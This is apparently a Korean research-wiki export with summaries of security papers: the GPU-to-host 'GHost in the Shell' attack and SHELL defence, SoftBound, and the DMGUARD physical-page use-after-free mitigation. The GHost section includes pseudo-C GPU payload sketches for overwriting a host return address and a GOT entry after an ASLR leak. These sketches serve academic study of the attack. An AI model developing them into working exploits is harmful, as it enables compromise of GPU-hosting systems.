# 마침내, leak_object를 찾았으니, 메모리를 순서대로 읽어서 출력한다. 종료조건은 0xffffffffff600000값을 출력시키는 것인데, 이 값은 x86-64 Linux의 [[vsyscall page]]주소이다. 즉 출력되는 값에는 exectuable base, heap base, mmap region, shared library base, libc base, ... etc들이 있는데, 이 값중 하나만 leak되어도 ASLR을 깨트릴 수 있다. 예를 들어서 Libc base가 leak되면 [[ROP]] Gadget주소나 System call함수 주소등을 계산할 수 있다.

=== Return address overwrite ===

<syntaxhighlight lang="c" line>
/* GPU kernel to overwrite a return address on the stack */
/* Pseudo C-style code for readability */

__device__
void return_address_overwrite_payload() {
/* Break ASLR, and leak the libcuda base */
size_t libcuda_base = find_libcuda_base();

/* Return address to overwrite */
size_t return_addr = libcuda_base + 0x25f701;

/* Scan the stack to locate the target return address */
size_t target_addr = scan_stack(return_addr);

/* Scan host address space to find the gadget */
uint64_t gadget_addr = find_gadget_addr();

/* Overwrite the target return address with the gadget address */
*(uint64_t *)target_addr = gadget_addr;
}
</syntaxhighlight>
# 먼저 GPU kernel은 ASLR을 우회하여 `libcuda-rt`의 base address를 얻는다.
# 이후 `libcuda_base + 0x25f701`을 계산한다. 이 값은 `cudaDeviceSynchronize()` 내부의 blocking loop와 관련된 `libcuda-rt` 함수의 return address 값이다.
# Host program은 GPU kernel이 끝날 때까지 `cudaDeviceSynchronize()`에서 대기한다. 이는 Host의 stack return address가 고정되도록 하여서, 공격을 더 쉽게 만든다.
# 이때 host thread의 stack에는 `libcuda-rt` 함수의 return address가 저장되어 있다.
# GPU kernel은 host stack을 스캔하여 해당 return address 값을 찾는다.
# 찾은 stack slot을 attacker-controlled gadget address로 덮어쓴다.
# 이후 blocking loop가 끝나고 CPU가 return할 때, 원래 주소가 아니라 attacker가 써둔 gadget address로 jump하게 된다.

=== GOT overwrite ===
<syntaxhighlight lang="c" line>
/* GPU kernel to overwrite libcuda GOT entry */
/* Pseudo C-style code for readability */

#define GADGET_OFFSET (0xXXXXXX)
#define FREE_OFFSET (0x25f701)

__device__
void GOT_overwrite_payload() {
/* Break ASLR, and leak the libc & libcuda base */
size_t libc_base = find_libc_base();
size_t libcuda_base = find_libcuda_base();

/* Set gadget address to overwrite */
size_t gadget_addr = libc_base + GADGET_OFFSET;

/* Set GOT entry to be overwritten */
size_t target_addr = libcuda_base + FREE_OFFSET;

/* Overwrite the GOT entry with the gadget address */
*(uint64_t *)target_addr = gadget_addr;
}
</syntaxhighlight>
# GPU kernel은 ASLR을 우회하여 `libc`와 `libcuda-rt`의 base address를 얻는다.
# `libc_base + GADGET_OFFSET`을 통해 attacker가 사용할 gadget address를 계산한다.
# `libcuda_base + FREE_OFFSET`을 통해 `libcuda-rt` 안의 `free()` GOT entry 주소를 계산한다.
# GPU kernel은 해당 GOT entry를 gadget address로 덮어쓴다.
# 이후 host CPU가 `libcuda-rt` 내부에서 `free()`를 호출하면, 원래 libc의 `free()`가 아니라 attacker-controlled gadget으로 jump하게 된다.

=== SHELL static identification of shared data ===
[[파일:IEEE S&P 2026 GHost in the Shell; Figure 7.png|800픽셀|가운데]]
SHELL은 GPU kernel이 접근할 legitimate shared data를 GPU kernel 실행 중 access trace에서 추정하지 않는다. 대신 host-side `cudaLaunchKernel()` argument가 shared pointer의 root라는 observation을 사용한다. LLVM/Clang pass가 kernel launch argument에서 backward use-def analysis를 수행하여 global variable, heap allocation, stack allocation, memory mapping 중 GPU에 전달될 수 있는 region을 찾고, 이 region 정보를 GPU driver의 SHELL table에 등록한다. 이 방식은 compromised GPU kernel이 임의 host address를 읽었다는 사실만으로 그 address를 shared data로 오인하는 문제를 피한다.

=== Isolated shared allocation ===
SHELL은 allocation kind별로 shared data를 host-only data와 분리한다. Global shared data는 64KB-aligned Shared Main Data region으로 옮긴다. Heap shared data는 jemalloc `mallocx` 기반 separate arena에서 할당한다. Stack shared data는 function prologue/epilogue instrumentation을 통해 heap allocation/free로 변환한다. `mmap` 기반 shared allocation은 custom `MAP_HMM` flag를 붙이고 64KB alignment/padding과 driver table update를 수행한다. tradeoff는 compiler/runtime instrumentation과 custom allocator dependency가 생기는 대신, HMM의 sub-page migration granularity 문제를 줄인다는 것이다.

=== Runtime access control in GPU driver ===
SHELL은 NVIDIA GPU driver의 HMM page-fault path를 enforcement point로 사용한다. GPU가 GPU-only memory를 access하면 기존처럼 GART translation이 성공한다. GPU가 host memory를 access해 page fault가 발생하면, driver는 faulting address가 SHELL table의 shared data whitelist에 있는지 확인한다. Shared data이면 migration을 허용하고, host-only data 또는 unmapped page이면 migration을 거부한다. 이 invariant는 "GPU kernel은 GPU-only data와 explicitly shared host data만 접근한다"는 것이다.

== Result ==
; Attack senarios
: 공격 결과는 두 PyTorch와 Chromium Web Driver케이스로 제시하였고, 성공적으로 공격하였다.

; SHELL Case studies
: 방어 결과에서 SHELL은 '''vulnerable GPU kernel 자체의 exploit이나 GPU-side payload execution을 막지는 못하지만''', payload가 '''host-only data를 접근하는 것을 막는다'''. 그 결과 host address layout leak과 host GOT overwrite가 차단된다. Chrome/WebGPU case에서는 future GPU kernel launching module을 가정하고 그 module에 SHELL instrumentation을 적용했을 때 attacker-controlled GPU kernel의 host-only memory access가 차단되었다고 보고한다.

Performance evaluation은 NVIDIA의 HMM-enabled ERA5 climate dataset processor sample을 대상으로 했다. Baseline jemalloc version의 elapsed time은 3.1088초이고 SHELL-enabled version은 3.1398초로, end-to-end overhead는 0.9%이다. `nvidia-smi` 기준 GPU memory allocation size는 baseline과 SHELL 모두 5,824 MiB로 같아, 64KB migration block alignment가 이 workload에서 extra fragmentation을 만들지 않았다고 보고한다.

== Criticisms ==
HMM 자체가 아직 production application에서 널리 쓰이지 않기 때문에, performance evaluation의 real-world scope는 제한적이다. 논문도 이를 인정하고 NVIDIA HMM sample인 ERA5 processor를 대표 workload로 사용한다. 더 다양한 ML framework, multi-process service, long-running inference workload에서 allocation pattern과 page-fault behavior가 어떻게 달라지는지는 추가 검증이 필요하다.

SHELL은 GPU kernel의 memory-safety vulnerability 자체를 제거하지 않는다. 공격 payload가 host-only memory에 접근하는 것을 막는 boundary defense이므로, GPU memory 내부 data corruption, GPU-side control-flow hijack, denial-of-service는 별도 방어가 필요하다. -> Possible Future Works?

== Conclusion ==
연구는 HMM이 어떻게 기존 GPU의 Threat Model을 확장시킬 수 있는지 제시한다는 점에서 기여도가 높다고 생각한다. 제시한 Solution은 이 TreatModel에서 명백히 작동하는 방식으로 보인다는 점에서, Defending logic도 명확해 보인다. 이 논문은 후에, HMM하에서 Host-GPU간의 Security problem들이 새로운 공격 주체로서 확장시키는 (그리고 막는 여구들의)좋은 초석이 될거라 생각한다. 전반적으로 Writing quality도 매우 좋았으며, Evaluation결과도 훌룡하였던 것 같다.

[[분류: IEEE S&P]]
[[분류: GPU 보안]]

파일:IEEE S&P 2026 GHost in the Shell; Figure 7.png

2026-07-02T03:49:41Z

Ahn9807:

IEEE S&P 2026 GHost in the Shell; Figure 7

Unified Virtual Memory

2026-06-19T02:06:11Z

Ahn9807: GPU Unified Virtual Memory 문서로 넘겨주기

#넘겨주기 [[GPU Unified Virtual Memory]]

TBNp

2026-06-19T02:05:03Z

Ahn9807: Tree-based Neighboring Prefetcher 문서로 넘겨주기

#넘겨주기 [[Tree-based Neighboring Prefetcher]]

분류:GPU Unified Virtual Memory

2026-06-18T04:25:43Z

Ahn9807: 새 문서: 분류: GPU

[[분류: GPU]]

사용자:Noribot

2026-06-18T03:09:41Z

Ahn9807: 새 문서: 이 봇은 AI Agent가 글을 작성하기 위해서 사용되는 봇입니다. Generative AI was used for editorial purposes, including grammar correction, wording improvement, and readability refinement. We also used OpenAI Codex as an writing tool. All AI-assisted text and code changes were manually inspected, tested, and revised by the authors (Junho Ahn). However, always, Junho Ahn doesn't guarantee the correctness of the contents. Use as your will. ;;Ə_ə;;

이 봇은 AI Agent가 글을 작성하기 위해서 사용되는 봇입니다.

Generative AI was used for editorial purposes, including grammar correction, wording improvement, and readability refinement. We also used OpenAI Codex as an writing tool. All AI-assisted text and code changes were manually inspected, tested, and revised by the authors (Junho Ahn).

However, always, Junho Ahn doesn't guarantee the correctness of the contents. Use as your will. ;;Ə_ə;;

SoftBound: Highly Compatible and Complete Spatial Memory Safety for C

2026-05-18T09:05:15Z

Ahn9807: 새 문서: 분류: ACM PLDI {{Paper|title=SoftBound: Highly Compatible and Complete Spatial Memory Safety for C|authors=Santosh Nagarakatte Jianzhou Zhao Milo M. K. Martin Steve Zdancewic|conference=Proceedings of the ACM SIGPLAN Conference on Programming Language Design and Implementation (PLDI)|year=2009}} == 개요 == Softbound는 spatial safety bug를 잡기 위한 방식이다. 모든 오브젝트 할당마다 base랑 size를 저장하는 내부 변수를 만들고, 매 load/st...

[[분류: ACM PLDI]]

{{Paper|title=SoftBound: Highly Compatible and Complete Spatial Memory Safety for C|authors=Santosh Nagarakatte Jianzhou Zhao Milo M. K. Martin Steve Zdancewic|conference=Proceedings of the ACM SIGPLAN Conference on Programming Language Design and Implementation (PLDI)|year=2009}}

== 개요 ==
Softbound는 spatial safety bug를 잡기 위한 방식이다.
모든 오브젝트 할당마다 base랑 size를 저장하는 내부 변수를 만들고, 매 load/store마다 그 변수들을 이용한 체크를 삽입한다. 이를 통해서, AddressSanitizer이전의, spatial safety를 잡을 수 있다는 spatial safety를 software적인 방식을 통해서 잡을 수 있는 방법을 제시한 논문이다.

DMGUARD: Safeguarding Kernels from Physical-Page Use-After-Free Vulnerabilities

2026-05-04T07:11:27Z

Ahn9807:

[[분류:USENIX Security]]

{{Paper|title=DMGUARD: Safeguarding Kernels from Physical-Page Use-After-Free Vulnerabilities|author=Juhee Kim, Jaeyoung Chung, Dae R. Jeong, Byoungyoung Lee|year=2026|conference=USENIX Security}}

== 개요 ==
Physical-page use-after-free라는 Page table entry 수준에서 일어나는 Use-after-free를 새로운 Vulnerability domain으로 정의하고, 이를 막을 수 있는 Runtime mitigation인 DMGUARD를 제시하였다.

기존의 Use-after-free는 일반적으로 Virtual address space 안에서 Freed object를 가리키는 Dangling pointer 문제로 이해되었다. 반면 본 논문에서 정의하는 Physical-page use-after-free는 Virtual address가 Page table을 통해 이미 Free되었거나 Reallocation된 Physical page를 계속 가리키는 문제이다. 즉, Object pointer가 아니라 Virtual-to-physical address translation layer에서 발생하는 Use-after-free이다.

DMGUARD는 각 Physical page의 Lifecycle을 State machine으로 모델링하고, Page allocation, Mapping, Unmapping, Free 시점에서 Per-page metadata를 업데이트한다. 이를 통해 Page가 아직 Mapping된 상태에서 Free되는 Free-before-unmap과, 이미 Free된 Page reference를 다시 Mapping하는 Map-after-free를 탐지한다.

핵심 메커니즘은 두 가지이다. 첫째, MapCount를 이용해서 해당 Physical page가 User-space page table에 몇 번 Mapping되어 있는지를 추적한다. 둘째, PageTag와 RefTag를 이용해서 Page reference가 현재 Allocation cycle에 속한 유효한 Reference인지 확인한다. 이를 통해 CPU page table뿐 아니라 GPU page table, IOMMU page table처럼 여러 Translation domain에 걸친 Dangling mapping을 탐지하고 차단한다.

== Motivation & Importance ==
현대 Kernel security mechanism들은 대부분 Page table의 정확성을 전제로 한다. 예를 들어 ASLR, CFI, DFI, PAC, MTE, MPK와 같은 방어 기법은 Virtual address가 올바른 Physical page로 Translation된다는 가정 위에서 동작한다. 그러나 Page table에 Dangling mapping이 남아 있으면, 공격자는 기존 방어 기법을 우회해서 Freed page 또는 Reallocated page를 User space에서 접근할 수 있다.

특히 Mobile/Embedded system에서는 CPU와 Integrated GPU가 같은 Physical memory를 공유하면서도 서로 다른 Page table을 사용한다. 예를 들어 Mali GPU나 Adreno GPU는 System DRAM을 공유하지만, GPU driver가 별도의 Page allocator와 GPU page table을 관리한다. 이 과정에서 CPU page table, GPU page table, IOMMU page table이 같은 Physical page를 가리킬 수 있다. Zero-copy memory sharing은 성능상 이점이 있지만, Page allocation과 Mapping/Unmapping의 책임이 여러 Subsystem에 분산되기 때문에 Page lifecycle 관리가 복잡해진다.

기존의 CONFIG_PAGE_TABLE_CHECK(ptcheck)는 CPU-side Page table mapping을 중심으로 관리한다. 따라서 GPU allocator가 할당한 Page가 CPU page table에 Mapping되거나, GPU page table/IOMMU page table에 Mapping되는 경우를 충분히 추적하지 못한다. 또한 ptcheck는 Mapping status는 일부 추적하지만 Allocation status를 추적하지 않기 때문에 Map-after-free를 근본적으로 탐지하기 어렵다.

또한 Page management는 Performance-sensitive path에 있다. Page fault, mmap, munmap, fork, GPU memory management 등은 자주 호출되기 때문에, 단순히 Global lock을 걸거나 Heavy synchronization을 추가하는 방식은 실용적이지 않다. 따라서 이 논문의 Motivation은 Heterogeneous translation domain 전체에서 Page lifecycle을 정확히 추적하면서도 낮은 Overhead를 유지하는 것이다.

== Challenge ==
* '''Systems with multiple different page tables distribute lifecycle management across independent subsystems'''
** 현대 시스템에서는 CPU, GPU, IOMMU 등이 각각 독립적인 Page table 또는 Translation structure를 가질 수 있다.
** Page allocation은 GPU driver가 수행하고, CPU mapping은 Kernel이 수행하며, IOMMU mapping은 별도의 Subsystem이 수행할 수 있다.
** 이처럼 Page lifecycle이 여러 Subsystem에 분산되어 있기 때문에, 어떤 Physical page가 아직 Mapping되어 있는지 전역적으로 판단하기 어렵다.

* '''Page management resides in a performance-sensitive path where synchronization overhead across different subsystems is expensive'''
** Page table operation은 Page fault, fork, mmap/munmap, GPU memory operation 등 성능에 민감한 경로에서 수행된다.
** 따라서 CPU/GPU/IOMMU 사이의 모든 Mapping 상태를 Lock 기반으로 동기화하면 Runtime overhead가 커질 수 있다.
** DMGUARD는 이를 해결하기 위해 Lockless design을 사용하고, Atomic operation과 Memory barrier를 통해 Concurrent Map/Free race를 막는다.

* '''The kernel provides low-level mapping interfaces that bypass standard page management mechanisms'''
** Linux kernel은 VM_PFNMAP과 같이 Page descriptor나 Reference counting을 우회하는 Low-level PFN-based mapping interface를 제공한다.
** 이러한 Interface는 MMIO처럼 일반 Buddy allocator가 관리하지 않는 Memory를 Mapping하기 위해 필요하지만, Device driver가 Buddy allocator에서 온 Page에도 이를 사용하면 Reference count가 제대로 갱신되지 않을 수 있다.
** 결과적으로 Page가 아직 Mapping되어 있음에도 Free되거나, 이미 Free된 PFN을 다시 Mapping하는 문제가 생길 수 있다.

* '''Correctness under concurrency is non-trivial'''
** Map과 Free가 서로 다른 CPU core 또는 Subsystem에서 동시에 발생할 수 있다.
** Weak memory model을 가진 ARM/RISC-V에서는 Instruction reordering 때문에 MapCount update와 PageTag check의 순서가 뒤바뀔 수 있다.
** DMGUARD는 LKMM(Linux Kernel Memory Model)을 기준으로 Memory barrier와 Atomic operation을 배치하여, Concurrent Map-Free 상황에서도 Dangling mapping이 생기지 않도록 설계한다.

== Background ==
; Physical-page use-after-free
* Traditional heap use-after-free는 Virtual address space 안의 Pointer가 이미 Free된 Object를 가리키는 문제이다.
* Physical-page use-after-free는 Page table entry가 이미 Free되었거나 다른 목적으로 Reallocation된 Physical page를 계속 가리키는 문제이다.
* 따라서 문제의 위치가 Object allocator가 아니라 Address translation layer이다.
* 공격자는 Page spraying을 통해 Freed physical page가 Attacker-controlled content로 재할당되도록 유도할 수 있다.
* 그 결과 User process가 Dangling mapping을 통해 Kernel page table, Credential structure 등 민감한 Physical memory를 접근할 수 있다.

; Dangling mapping
* Dangling mapping은 Page table entry가 이미 Free된 Physical page를 계속 가리키는 상태이다.
* 이 상태에서 Processor가 해당 Virtual address에 접근하면, 실제로는 Free되었거나 다른 용도로 재사용된 Physical page에 접근하게 된다.
* 논문은 Dangling mapping을 Physical-page UAF의 직접적인 원인으로 본다.

; Free-before-unmap
* Page가 Page table에 아직 Mapping되어 있는데 먼저 Free되는 경우이다.
* 정상적인 순서는 Unmap(P) 이후 Free(P)이다.
* 하지만 Free(P)가 Unmap(P)보다 먼저 발생하면 기존 Page table entry가 Freed page를 계속 가리키게 된다.
* DMGUARD는 Free 시점에 MapCount가 0인지 확인하여 이를 탐지한다.

; Map-after-free
* 이미 Free된 Page reference를 사용해서 Mapping을 만드는 경우이다.
* 예를 들어 Old struct page* 또는 Old PFN이 남아 있고, 이 Reference를 이용해 다시 PTE를 만들면 Freed page에 대한 Mapping이 생성될 수 있다.
* DMGUARD는 PageTag와 RefTag를 비교하여 Reference가 현재 Allocation cycle에 속하는지 확인한다.

; CVE-2025-0072 사례
* 논문은 Mali GPU driver의 CVE-2025-0072를 대표적인 Real-world example로 제시한다.
* Mali driver는 mmap() 과정에서 GPU command buffer를 위한 Virtual address를 예약하고, GPU page allocator에서 Page를 할당한 뒤 queue->phys에 Physical address를 저장한다.
* 실제 CPU mapping은 Lazy하게 Page fault 시점에 생성된다.
* 취약한 경로에서는 두 번째 mmap()이 queue->phys를 새 Page로 덮어쓴 뒤, 첫 번째 mmap region을 munmap할 때 실제 Mapping은 제거되지 않지만 queue->phys가 가리키는 두 번째 Page가 Free된다.
* 그 결과 VA2 -> PA2 Mapping이 CPU page table에 남아 있는데 PA2가 Free되어 Free-before-unmap 취약점이 발생한다.

== Main Idea ==
DMGUARD의 핵심 아이디어는 Physical page의 Lifecycle을 State machine으로 표현하고, 각 State transition이 올바른 순서로 일어나는지 Runtime에 검사하는 것이다.

Page는 크게 다음 상태를 가진다.

* '''Freed-Unmapped'''
** Page allocator의 Free pool에 있는 상태이다.
** 어떤 Page table에도 Mapping되어 있지 않다.
** Virtual address를 통해 접근할 수 없다.

* '''Allocated-Unmapped'''
** Page allocator에서 할당되었지만 아직 어떤 User-space page table에도 Mapping되지 않은 상태이다.
** Kernel은 struct page* 또는 PFN을 통해 이 Page를 참조할 수 있지만, User process는 아직 접근할 수 없다.

* '''Allocated-Mapped'''
** Page가 할당되어 있고, 하나 이상의 Page table entry가 이 Physical page를 가리키는 상태이다.
** CPU page table, GPU page table, IOMMU page table 등 여러 Translation domain에서 동시에 Mapping될 수 있다.

정상적인 Lifecycle은 다음과 같다.

* Freed-Unmapped -> Allocated-Unmapped
** Alloc(P)에 의해 Page가 할당된다.

* Allocated-Unmapped -> Allocated-Mapped
** Map(P)에 의해 Page table entry가 생성된다.

* Allocated-Mapped -> Allocated-Unmapped
** Unmap(P)에 의해 모든 Mapping이 제거된다.

* Allocated-Unmapped -> Freed-Unmapped
** Free(P)에 의해 Page가 allocator로 반환된다.

DMGUARD는 이 State machine에서 잘못된 Transition을 탐지한다.

* '''Free-before-unmap'''
** Allocated-Mapped 상태의 Page가 Unmap 없이 Free되는 경우이다.
** 즉, Allocated-Mapped -> Freed-Unmapped로 바로 가는 잘못된 Transition이다.
** DMGUARD는 Free(P) 시점에 MapCount(P) != 0이면 이를 Free-before-unmap으로 판단한다.

* '''Map-after-free'''
** Freed-Unmapped 상태의 Page reference를 이용해서 Mapping을 만드는 경우이다.
** 즉, Freed-Unmapped -> Allocated-Mapped처럼 Allocation 없이 Mapping이 만들어지는 잘못된 Transition이다.
** DMGUARD는 Map(P) 시점에 PageTag(P)와 RefTag(P)가 다르면 이를 Map-after-free로 판단한다.

이를 위해 DMGUARD는 두 종류의 Metadata를 사용한다.

* '''MapCount'''
** Physical page마다 유지되는 Counter이다.
** User-space Mapping이 생성될 때 증가하고, Mapping이 제거될 때 감소한다.
** CPU page table뿐 아니라 GPU page table, IOMMU page table의 Mapping도 함께 반영한다.
** Page를 Free할 때 MapCount가 0이 아니면 아직 Dangling mapping이 존재할 수 있으므로 Free-before-unmap으로 탐지한다.

* '''PageTag / RefTag'''
** PageTag는 Physical page의 현재 Allocation cycle을 나타내는 Per-page tag이다.
** RefTag는 struct page* 또는 PFN 같은 Page reference에 붙는 Tag이다.
** Page가 Allocate될 때 PageTag를 새 Random value로 갱신하고, 그 Page를 가리키는 Reference에는 같은 RefTag를 부여한다.
** Page가 Free되면 PageTag를 다시 갱신하여 Old reference를 무효화한다.
** Mapping을 만들 때 PageTag와 RefTag가 일치하지 않으면, Old reference를 통한 Map-after-free로 판단한다.

즉, DMGUARD는 Mapping status는 MapCount로 추적하고, Allocation status는 PageTag/RefTag로 추적한다. 이 두 정보를 결합하여 “Freed page가 Mapping되거나, Mapped page가 Free되는 상태”를 Runtime에 막는다.

== Design ==
DMGUARD의 설계는 크게 State machine, Twofold state tracking, Lockless integration, Kernel/GPU driver instrumentation으로 구성된다.

=== Page Lifecycle State Machine ===
DMGUARD는 각 Physical page의 상태를 Allocation status와 Mapping status의 조합으로 본다.

* Allocation status
** Freed
** Allocated

* Mapping status
** Unmapped
** Mapped

이 조합을 통해 Page는 Freed-Unmapped, Allocated-Unmapped, Allocated-Mapped 상태를 가진다. Freed-Mapped 상태는 존재해서는 안 되는 Invalid state이다. Physical-page UAF는 결국 Freed-Mapped 상태가 만들어지는 문제로 볼 수 있다.

DMGUARD의 목표는 Runtime에 Page operation을 감시하여 Freed-Mapped 상태가 생기기 전에 중단하는 것이다.

=== Tracking Mapping Status with MapCount ===
MapCount는 Page가 몇 개의 User-space Mapping을 가지고 있는지를 나타낸다.

* Map(P)
** Page가 User-space page table에 Mapping되면 MapCount(P)를 증가시킨다.

* Unmap(P)
** Page의 Mapping이 제거되면 MapCount(P)를 감소시킨다.

* Free(P)
** Page를 Free하기 전에 MapCount(P)를 확인한다.
** MapCount(P)가 0이면 안전하게 Free할 수 있다.
** MapCount(P)가 0보다 크면 아직 Mapping이 남아 있으므로 Free-before-unmap으로 탐지한다.

이 방식은 Reference counting과 유사하지만, 일반적인 Object reference count가 아니라 Page table mapping의 개수를 추적한다는 점이 중요하다. 또한 CPU page table뿐 아니라 GPU/IOMMU page table의 Mapping까지 포함한다.

=== Tracking Allocation Status with PageTag / RefTag ===
MapCount만으로는 Map-after-free를 막을 수 없다. 이미 Free된 Page reference가 남아 있고, 이를 이용해 Mapping을 만들면 MapCount는 새로 증가할 수 있기 때문이다. 따라서 DMGUARD는 Allocation cycle을 구분하기 위해 Tagging을 사용한다.

* PageTag
** Physical page의 Per-page metadata에 저장된다.
** 현재 Allocation cycle을 나타낸다.
** Page가 Allocate되거나 Free될 때 새 Random tag로 갱신된다.

* RefTag
** struct page* 또는 PFN 같은 Page reference에 저장된다.
** 해당 Reference가 만들어졌을 때의 PageTag를 보존한다.
** ARM64에서는 TBI(Top Byte Ignore)를 활용하여 struct page*의 Top byte에 RefTag를 저장한다.

Mapping을 만들 때 DMGUARD는 PageTag(P)와 RefTag(P)를 비교한다.

* PageTag(P) == RefTag(P)
** Reference가 현재 Allocation cycle의 Page를 가리키므로 Mapping을 허용한다.

* PageTag(P) != RefTag(P)
** Reference가 Old allocation cycle의 Stale reference이므로 Map-after-free로 탐지한다.

논문에서는 8-bit Tag를 사용한다. 하나의 값은 Default tag로 예약하고, 나머지 값을 Random하게 사용한다. 이 때문에 일반적인 Reallocation 이후 Map-after-free에는 1/255 확률의 Tag collision 가능성이 있다. 그러나 Free 직후 바로 Mapping하는 Immediate map-after-free의 경우 이전 Tag와 다른 값을 강제하여 100% 탐지한다고 설명한다.

=== Lockless Integration ===
Page management path는 매우 성능에 민감하므로 DMGUARD는 Global lock을 사용하지 않는다. 대신 Atomic operation과 Memory barrier를 사용하여 Concurrent operation의 Correctness를 보장한다.

DMGUARD의 핵심 Operation은 다음과 같다.

* dmcAlloc()
** 기존 Alloc()을 호출해 Page를 할당한다.
** PageTag를 새 값으로 갱신한다.
** 반환되는 struct page* 또는 PFN에 같은 RefTag를 설정한다.

* dmcMap()
** MapCount를 증가시킨다.
** Memory barrier를 수행한다.
** PageTag와 RefTag를 비교한다.
** Tag가 일치하면 실제 Map(P)를 수행한다.
** Tag가 다르면 Map-after-free로 판단한다.

* dmcUnmap()
** 실제 Unmap(P)를 수행한다.
** MapCount를 감소시킨다.
** MapCount가 음수가 되면 잘못된 Unmap으로 판단한다.

* dmcFree()
** PageTag를 먼저 갱신하여 기존 Reference를 무효화한다.
** Memory barrier를 수행한다.
** MapCount가 0인지 확인한다.
** MapCount가 0이면 실제 Free(P)를 수행한다.
** MapCount가 0보다 크면 Free-before-unmap으로 판단한다.

이 순서는 Concurrent Map-Free race를 막기 위해 중요하다. 예를 들어 dmcMap에서 MapCount 증가가 PageTag check보다 뒤로 Reorder되면, 동시에 수행되는 dmcFree가 MapCount를 0으로 보고 Page를 Free할 수 있다. DMGUARD는 Memory barrier를 통해 이러한 Reordering을 막는다.

논문은 이 Lockless design이 x86, ARM, RISC-V 등 Linux가 지원하는 Architecture의 Memory model에서도 안전하게 동작하는지 LKMM(Linux Kernel Memory Model) Litmus test로 검증했다고 주장한다.

=== Integration with Kernel and GPU Drivers ===
DMGUARD는 Linux kernel과 GPU driver의 Page operation interface에 통합된다.

* Linux kernel
** Map: set_pte_at
** Unmap: ptep_get_and_clear, ptep_get_and_clear_full
** Alloc: post_alloc_hook
** Free: free_pages_prepare

* Mali GPU driver
** Map: entry_set_ate, entry_set_pte
** Unmap: entries_invalidate
** Alloc: kbase_mem_pool_alloc, kbase_mem_pool_alloc_pages 등
** Free: kbase_mem_pool_free, kbase_mem_pool_free_pages 등

* Adreno GPU driver
** Map: __arm_lpae_set_pte, arm_lpae_init_pte
** Unmap: __arm_lpae_set_pte, arm_lpae_init_pte, __arm_lpae_free_pgtable, __arm_lpae_unmap
** Alloc: kgsl_pool_alloc_page
** Free: kgsl_pool_free_page

구현 규모는 Core DMGUARD가 약 400 LOC, Tagged PFN macro가 약 560 LOC, Mali GPU driver 변경이 약 90 LOC, Adreno GPU driver 변경이 약 80 LOC이다. 이는 DMGUARD가 기존 Kernel 구조를 크게 바꾸기보다는 주요 Page lifecycle operation에 작은 Instrumentation을 추가하는 방식임을 보여준다.

=== Comparison with CONFIG_PAGE_TABLE_CHECK ===
CONFIG_PAGE_TABLE_CHECK는 CPU page table의 Mapping status를 일부 추적할 수 있지만, DMGUARD와 비교하면 다음 한계가 있다.

* CPU page allocator와 CPU page table 사이의 Free-before-unmap은 탐지할 수 있다.
* 그러나 CPU page와 Device mapping, Device page와 CPU mapping, Device page와 Device mapping은 충분히 다루지 못한다.
* Allocation status를 추적하지 않으므로 Map-after-free를 탐지하지 못한다.
* Concurrent Map-Free race에 대한 Synchronization이 부족하여 TOCTOU-style vulnerability가 가능하다.

반면 DMGUARD는 Allocation status와 Mapping status를 모두 추적하고, CPU/GPU/IOMMU context를 함께 고려하며, Lockless synchronization으로 Concurrent race까지 다루려고 한다.

== Evaluation ==
논문은 DMGUARD를 Security, Performance, Robustness 측면에서 평가하였다.

=== Evaluation Setup ===
DMGUARD는 세 가지 환경에서 평가되었다.

* QEMU AArch64 환경
** Linux kernel v6.6.0
** Mali GPU driver
** Dummy GPU device(MALI_NO_MALI)

* Pixel 8
** Android 15
** Linux kernel v6.1.99
** ARMv8.5 CPU
** Mali GPU

* Pixel 3 XL
** Android 12
** Linux kernel v4.9.270
** ARMv8.2 CPU
** Qualcomm Adreno GPU

비교 대상은 다음과 같다.

* Baseline
** Dangling mapping mitigation이 없는 기본 Kernel configuration

* ptcheck
** Linux CONFIG_PAGE_TABLE_CHECK

* DMGUARD
** 본 논문에서 제안한 Runtime mitigation

=== Security Evaluation ===
Security evaluation에서는 총 24개의 Physical-page use-after-free vulnerability를 대상으로 DMGUARD와 ptcheck를 비교하였다.

* 19개는 Real-world vulnerability이다.
** Linux kernel
** Mali GPU driver
** Adreno GPU driver
** PowerVR GPU driver

* 5개는 Synthetic vulnerability이다.
** Map-after-free case
** Race condition 기반 Free-before-unmap case

논문은 이 중 15개를 실제 환경에서 Empirical evaluation하였다. 나머지 9개는 Hardware 부족, GPU driver virtual environment 미지원, Kernel/driver version mismatch 등의 이유로 직접 재현하지 못하고 Theoretical analysis를 수행하였다.

Empirical evaluation 결과는 다음과 같다.

* DMGUARD
** 15개 중 15개 모두 탐지하였다.

* ptcheck
** 15개 중 5개만 탐지하였다.

ptcheck가 탐지한 경우는 주로 CPU page가 CPU page table에 Mapping된 Free-before-unmap case이다. 반면 GPU page allocator, GPU page table, IOMMU page table이 관련된 경우나 Map-after-free case는 탐지하지 못했다.

Theoretical analysis 대상 9개에서도 논문은 DMGUARD가 설계상 모두 탐지 가능하다고 분석하였다. 이 9개는 모두 GPU page가 GPU 또는 IOMMU context에 Mapping되는 형태라 ptcheck는 탐지하지 못한다고 설명한다.

=== False Positives and False Negatives ===
논문은 Performance evaluation과 Robustness test 중 DMGUARD가 False alarm을 발생시키지 않았다고 보고한다. 또한 Known vulnerability test에서 모든 Empirical case를 탐지했기 때문에 실험상 False negative도 관찰되지 않았다고 한다.

그러나 설계상 False positive와 False negative 가능성은 존재한다.

* MapCount 관련 False positive
** 실제로는 Unmap되었지만 MapCount가 감소하지 않으면, Free 시점에 Dangling mapping으로 잘못 판단할 수 있다.

* MapCount 관련 False negative
** 실제로 Mapping되었지만 MapCount가 증가하지 않으면, Free-before-unmap을 놓칠 수 있다.

* PageTag 관련 False negative
** Mapping 시점에 Tag check가 빠지면 Map-after-free를 놓칠 수 있다.
** Page가 Free/Reallocation될 때 Tag가 갱신되지 않으면 Stale reference를 탐지하지 못할 수 있다.
** 8-bit Tag collision이 발생하면 Old reference의 RefTag와 New PageTag가 우연히 일치할 수 있다.

* Instrumentation coverage 문제
** Driver가 Standard API를 거치지 않고 Page table을 직접 조작하면 DMGUARD가 상태 변화를 추적하지 못할 수 있다.

=== Finding Unknown Vulnerabilities ===
논문은 Pixel 8에서 DMGUARD를 활성화한 상태로 Syzkaller를 실행하였다. 이 과정에서 Upstream Mali GPU driver의 Dangling mapping issue를 발견하였다.

